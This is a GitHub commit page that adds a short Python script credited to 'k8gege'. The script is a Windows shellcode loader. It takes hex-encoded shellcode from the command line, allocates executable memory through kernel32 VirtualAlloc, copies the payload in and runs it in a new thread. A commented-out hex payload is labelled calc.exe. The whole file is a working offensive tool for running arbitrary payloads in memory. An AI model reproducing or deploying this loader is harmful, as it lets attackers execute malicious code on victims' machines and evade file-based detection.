File tree 2 files changed +27
-0
lines changed
2 files changed +27
-0
lines changed Original file line number Diff line number Diff line change
1
+ #scrun by k8gege
2
+ import ctypes
3
+ import sys
4
+ #calc.exe
5
+ #sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"
6
+ shellcode = bytearray (sys .argv [1 ].decode ("hex" ))
7
+ ptr = ctypes .windll .kernel32 .VirtualAlloc (ctypes .c_int (0 ),
8
+ ctypes .c_int (len (shellcode )),
9
+ ctypes .c_int (0x3000 ),
10
+ ctypes .c_int (0x40 ))
11
+
12
+ buf = (ctypes .c_char * len (shellcode )).from_buffer (shellcode )
13
+
14
+ ctypes .windll .kernel32 .RtlMoveMemory (ctypes .c_int (ptr ),
15
+ buf ,
16
+ ctypes .c_int (len (shellcode )))
17
+
18
+ ht = ctypes .windll .kernel32 .CreateThread (ctypes .c_int (0 ),
19
+ ctypes .c_int (0 ),
20
+ ctypes .c_int (ptr ),
21
+ ctypes .c_int (0 ),
22
+ ctypes .c_int (0 ),
23
+ ctypes .pointer (ctypes .c_int (0 )))
24
+
25
+ ctypes .windll .kernel32 .WaitForSingleObject (ctypes .c_int (ht ),ctypes .c_int (- 1 ))
26
+
27
+
You can’t perform that action at this time.
0 commit comments